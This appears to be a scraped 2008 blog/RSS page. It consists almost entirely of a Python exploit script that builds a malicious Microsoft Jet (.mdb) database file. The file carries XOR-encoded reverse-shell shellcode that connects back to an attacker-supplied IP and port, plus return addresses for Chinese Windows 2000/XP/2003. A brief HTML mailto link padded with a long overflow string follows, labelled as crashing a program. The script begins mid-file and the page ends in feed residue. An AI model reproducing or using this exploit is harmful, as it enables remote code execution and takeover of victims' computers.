friddy += "\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1"
friddy += "\x3b\x10\x0e\x06\x07\x07\xca\x8c\x69\xf4\x31\x44\x5e\x93\x77\x0a"
friddy += "\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8\x5f\x25\xf4\x67"
friddy += "\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d"



Shellcode_p1  = "\x31\xc9\x83\xe9\xb7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
Shellcode_p1 += "\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
Shellcode_p1 += "\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
Shellcode_p1 += "\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
Shellcode_p1 += "\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
Shellcode_p1 += "\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
Shellcode_p1 += "\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
Shellcode_p1 += "\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
Shellcode_p1 += "\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
Shellcode_p1 += "\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
Shellcode_p1 += "\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
Shellcode_p1 += "\x41\x76\xf9\xe6\xc4\x66\xf9\xf6\xc4\xda\x7a\xdd"
Shellcode_p2  = "\xf1\x76\x23\x54\x02\x4d\x46\x4c\x3d\x45\xfd\x4a"
Shellcode_p2 += "\x41\x4f\xba\xe4\xc2\xda\x7a\xd3\xfd\x41\xcc\xdd\xf4\x48\xc0\xe5"
Shellcode_p2 += "\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46\x3d\xb0\x23\x48"
Shellcode_p2 += "\x69\x67\x87\x4b\xd5\x09\x27\xcf\xaf\x8e\x01\x1e\xff\x57\x54\x06"
Shellcode_p2 += "\x81\xda\xdf\x9d\x68\xf3\xf1\xe2\xc5\x74\xfb\xe4\xfd\x24\xfb\xe4"
Shellcode_p2 += "\xc2\x74\x55\x65\xff\x88\x73\xb0\x59\x76\x55\x63\xfd\xda\x55\x82"
Shellcode_p2 += "\x68\xf5\xc2\x52\xee\xe3\xd3\x4a\xe2\x21\x55\x63\x68\x52\x56\x4a"
Shellcode_p2 += "\x47\x4d\x5a\x3f\x93\x7a\xf9\x4a\x41\xda\x7a\xb5"


# Header
mdbHeader  = "\x00\x01\x00\x00\x53\x74\x61\x6E\x64\x61\x72\x64\x20\x4A\x65\x74"
mdbHeader += "\x20\x44\x42\x00\x01\x00\x00\x00\xB5\x6E\x03\x62\x60\x09\xC2\x55"
mdbHeader += "\xE9\xA9\x67\x72\x40\x3F\x00\x9C\x7E\x9F\x90\xFF\x85\x9A\x31\xC5"
mdbHeader += "\x79\xBA\xED\x30\xBC\xDF\xCC\x9D\x63\xD9\xE4\xC3\x9F\x46\xFB\x8A"
mdbHeader += "\xBC\x4E\xB2\x6D\xEC\x37\x69\xD2\x9C\xFA\xF2\xC8\x28\xE6\x27\x20"
mdbHeader += "\x8A\x60\x60\x02\x7B\x36\xC1\xE4\xDF\xB1\x43\x62\x13\x43\xFB\x39"
mdbHeader += "\xB1\x33\x00\xF7\x79\x5B\xA6\x23\x7C\x2A\xAF\xD0\x7C\x99\x08\x1F"
mdbHeader += "\x98\xFD\x1B\xC9\x5A\x6A\xE2\xF8\x82\x66\x5F\x95\xF8\xD0\x89\x24"
mdbHeader += "\x85\x67\xC6\x1F\x27\x44\xD2\xEE\xCF\x65\xED\xFF\x07\xC7\x46\xA1"
mdbHeader += "\x78\x16\x0C\xED\xE9\x2D\x62\xD4\x54\x06\x00\x00\x34\x2E\x30\x00"


# Body
mdbBody  = "\x00\x00\x80\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\x02\x01\xDE\x0B\x00\x00\x00\x00\x90\x90\x90\x90\x59\x06\x00\x00"
mdbBody += "\x11\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x11\x00\x0B\x00\x11\x00\x02"
mdbBody += "\x00\x00\x00\x02\x00\x00\x00\x00\x06\x00\x00\x01\x06\x00\x00\x00"
mdbBody += "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x0C\x59\x06\x00\x00\x09\x00\x03\x00"
mdbBody += "\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x0C\x59\x06\x00\x00\x08\x00\x02\x00\x00\x00\x09\x04\x00\x00\x12"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x59\x06\x00\x00\x04\x00"
mdbBody += "\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x0a\x00"
mdbBody += "\x08\x00\x08\x59\x06\x00\x00\x05\x00\x01\x00\x00\x00\x09\x04\x00"
mdbBody += "\x00\x13\x00\x00\x00\x00\x00\x12\x00\x08\x00\x04\x59\x06\x00\x00"
mdbBody += "\x07\x00\x02\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody += "\x1A\x00\x04\x00\x0A\x59\x06\x00\x00\x0A\x00\x04\x00\x00\x00\x09"
mdbBody += "\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x04\x00\x0B\x59\x06\x00\x00\x0D\x00\x07\x00\x00"
mdbBody += "\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B"
mdbBody += "\x59\x06\x00\x00\x10\x00\x0A\x00\x00\x00\x09\x04\x00\x00\x12\x00"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x59\x06\x00\x00\x0F\x00\x09"
mdbBody += "\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x0B\x59\x06\x00\x00\x0E\x00\x08\x00\x00\x00\x09\x04\x00\x00"
mdbBody += "\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x59\x06\x00\x00\x02"
mdbBody += "\x00\x00\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\xFE\x01\x09\x59\x06\x00\x00\x06\x00\x01\x00\x00\x00\x09\x04"
mdbBody += "\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06\x00"
mdbBody += "\x00\x01\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00"
mdbBody += "\x00\x04\x00\x04\x00\x0B\x59\x06\x00\x00\x0C\x00\x06\x00\x00\x00"
mdbBody += "\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x59"
mdbBody += "\x06\x00\x00\x0B\x00\x05\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00"
mdbBody += "\x00\x00\x00\x00\x00\xFE\x01\x03\x59\x06\x00\x00\x03\x00\x01\x00"
mdbBody += "\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x08\x00\x02\x00"
mdbBody += "\x0E\x00\x43\x00\x6F\x00\x6E\x00\x6E\x00\x65\x00\x63\x00\x74\x00"
mdbBody += "\x10\x00\x44\x00\x61\x00\x74\x00\x61\x00\x62\x00\x61\x00\x73\x00"
mdbBody += "\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00\x65\x00\x43\x00\x72\x00"
mdbBody += "\x65\x00\x61\x00\x74\x00\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00"
mdbBody += "\x65\x00\x55\x00\x70\x00\x64\x00\x61\x00\x74\x00\x65\x00\x0A\x00"
mdbBody += "\x46\x00\x6C\x00\x61\x00\x67\x00\x73\x00\x16\x00\x46\x00\x6F\x00"
mdbBody += "\x72\x00\x65\x00\x69\x00\x67\x00\x6E\x00\x4E\x00\x61\x00\x6D\x00"
mdbBody += "\x65\x00\x04\x00\x49\x00\x64\x00\x04\x00\x4C\x00\x76\x00\x0E\x00"
mdbBody += "\x4C\x00\x76\x00\x45\x00\x78\x00\x74\x00\x72\x00\x61\x00\x10\x00"
mdbBody += "\x4C\x00\x76\x00\x4D\x00\x6F\x00\x64\x00\x75\x00\x6C\x00\x65\x00"
mdbBody += "\x0C\x00\x4C\x00\x76\x00\x50\x00\x72\x00\x6F\x00\x70\x00\x08\x00"
mdbBody += "\x4E\x00\x61\x00\x6D\x00\x65\x00\x0A\x00\x4F\x00\x77\x00\x6E\x00"
mdbBody += "\x65\x00\x72\x00\x10\x00\x50\x00\x61\x00\x72\x00\x65\x00\x6E\x00"
mdbBody += "\x74\x00\x49\x00\x64\x00\x16\x00\x52\x00\x6D\x00\x74\x00\x49\x00"
mdbBody += "\x6E\x00\x66\x00\x6F\x00\x4C\x00\x6F\x00\x6E\x00\x67\x00\x18\x00"
mdbBody += "\x52\x00\x6D\x00\x74\x00\x49\x00\x6E\x00\x66\x00\x6F\x00\x53\x00"
mdbBody += "\x68\x00\x6F\x00\x72\x00\x74\x00\x08\x00\x54\x00\x79\x00\x70\x00"
mdbBody += "\x65\x00\x83\x07\x00\x00\x01\x00\x01\x02\x00\x01\xFF\xFF\x00\xFF"
mdbBody += "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF"
mdbBody += "\x00\xFF\xFF\x00\x10\x06\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x81\x00\x00\x00\x00\x00\x83\x07\x00\x00\x00\x00\x01\xFF\xFF\x00"
mdbBody += "\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF"
mdbBody += "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\x11\x06\x00\x00\x08\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x59\x06\x00\x00\x01\x00"
mdbBody += "\x00\x00\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04"
mdbBody += "\x04\x01\x00\x00\x00\x00\x59\x06\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04\x04\x00\x00\x00"
mdbBody += "\x00\x00"

# Body2
mdbBody2  = "\x02\x01\xA9\x0E\x00\x00\x00\x00\x4F\x01\x00\x00\x59\x06\x00\x00"
mdbBody2 += "\x34\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x04\x00\x01\x00\x04\x00\x01"
mdbBody2 += "\x00\x00\x00\x01\x00\x00\x00\x12\x06\x00\x00\x13\x06\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x04\x59\x06\x00\x00"
mdbBody2 += "\x02\x00\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody2 += "\x04\x00\x04\x00\x01\x59\x06\x00\x00\x03\x00\x01\x00\x00\x00\x09"
mdbBody2 += "\x04\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x59\x06"
mdbBody2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x00\x04\x00\x09\x59\x06\x00\x00\x01\x00\x00\x00\x00"
mdbBody2 += "\x00\x09\x04\x00\x00\x32\x00\x00\x00\x00\x00\x07\x00\xFE\x01\x06"
mdbBody2 += "\x00\x41\x00\x43\x00\x4D\x00\x18\x00\x46\x00\x49\x00\x6E\x00\x68"
mdbBody2 += "\x00\x65\x00\x72\x00\x69\x00\x74\x00\x61\x00\x62\x00\x6C\x00\x65"
mdbBody2 += "\x00\x10\x00\x4F\x00\x62\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49"
mdbBody2 += "\x00\x64\x00\x06\x00\x53\x00\x49\x00\x44\x00\x83\x07\x00\x00\x00"
mdbBody2 += "\x00\x01\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x09\xFF\xFF\x00\xFF\xFF"
mdbBody2 += "\x00\xFF\xFF\x00\xFF\xFF\x04\xFF\xFF\x12\xFF\xFF\x00\x14\x06\x00"
mdbBody2 += "\x00\x09\x00\x00\x00\x41\x00\x74\x00\x88\x00\x00\x00\x00\x00\x59"
mdbBody2 += "\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"
mdbBody2 += "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x10\x00\x4F\x00\x62"
mdbBody2 += "\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49\x00\x64\x00\xFF\xFF\x00";

ShellJump  = "\x14\x00"        # Expanded ID Parameter (20 bytes) to accommodate this code
ShellJump += "\x83\xC6\x08"        # Add ESI,8 (Pointer to our shellcode)
ShellJump += "\xFF\xE6"        # Call ESI (Execute Shellcode)
ShellJump += "\x90\x90\x90\x90"
ShellJump += "\x90\x90\x90\x90" # Not used
ShellJump += "\x90\x90\x90";

VulnerableParameter  = "\x18\x00\x50\x00"
VulnerableParameter += "\x61\x00\x72\x00"
VulnerableParameter += "\x65\x00\x6E\x00"
VulnerableParameter += "\x74\x00\x49\x00"
VulnerableParameter += "\x64\x00\x4E\x00"
VulnerableParameter += "\x61\x00\x6D\x00"
VulnerableParameter += "\x65\x00\x00\x01" # 0100 will result in EDX pointing to a variable containing our MSAccess offset
VulnerableParameter += "\x04\x06\x00\x00"
VulnerableParameter += "\x05\x90"



if (len(sys.argv) != 5):
       print ""
       print "\nUsage: " + sys.argv[0] + " <Attacker IP> <Attacker Port> <Output File> <System TYPE>\n"
       print "##################################################################"
       print "#                                                                #"
       print "#        Southeast University Electrical Engineering             #"
       print "#                                                                #"
       print "#        http://www.friddy.cn                        #"  
       print "#                                                                #"    
       print "#        <System TYPE>:                                          #"
       print "#            0 FOR Windows 2000 Service Pack 4 CHINESE           #"
       print "#            1 FOR Windows XP   Service Pack 2 CHINESE           #"
       print "#            2 FOR Windows 2003 CHINESE                          #"
       print "#                                                                #"
       print "#        Example:exploit.py 192.168.1.1 8888 attack.mdb 1        #"
       print "#                                                                #"
       print "##################################################################"
       print "#                                                                #"
       print "#        Microsoft Jet (msjet40.dll) Reverse Shell Exploit       #"
       print "#                                                                #"
       print "#                                                                #"
       print "#                   coded by Friddy                              #"
       print "#                                                                #"
       print "#           Based on the exploit written by S.Pearson            #"
       print "#                                                                #"
       print "##################################################################"
       sys.exit(0)

# Addresses are compatible with Windows  Service Pack X CHINESE Version
sunny = int(sys.argv[4])
if sunny == 0:
                ReturnAddress = 0x77F920E3 #Windows 2000 Service Pack 4 Server CHINESE
if sunny == 1:
                ReturnAddress = 0x7C985A3B #Windows XP Service Pack 2 CHINESE
if sunny == 2:
                ReturnAddress = 0x7FFA54CF #Windows 2003 CHINESE
if sunny == 3:
                ReturnAddress = 0x77FC9130 #Windows 2000 Service Pack 4 Professional CHINESE



i=0
xorTable = [0xB5,0xAA,0x25,0x97]
Shellcode  = Shellcode_p1

ipAddress = sys.argv[1].split(".",4);
port = struct.pack("h",int(sys.argv[2]));

while(i<4):
       Shellcode += chr(int(ipAddress[i]) ^ xorTable[3-i])
       i+=1;



Shellcode += "\xf1\x4d"
Shellcode += chr(struct.unpack("B",port[1])[0] ^ 0xAA)
Shellcode += chr(struct.unpack("B",port[0])[0] ^ 0xB5)
Shellcode += Shellcode_p2


mdb  = mdbHeader
mdb += "\x41" * 7968
mdb += mdbBody
mdb += ShellJump
mdb += struct.pack("<L",ReturnAddress)
mdb += VulnerableParameter
mdb += Shellcode + "\x90" * (3094 - len(Shellcode))
mdb += mdbBody2
mdb += "\x00" * (94208 -len(mdb))

fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb)
fileOut.close()
]]> http://www.friddy.cn/article.asp?id=5 root@friddy.cn(friddy) Thu,11 Sep 2008 10:33:59 +0800 http://www.friddy.cn/default.asp?id=5 <html>

<body>
<P>Author:friddy   QQ:568623
<P>Result:Program Crash
<BR>
　<A href="mailto:A%...............................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com">ClickME</a>
>Clickme</A>
</body>

</html>
 

]]>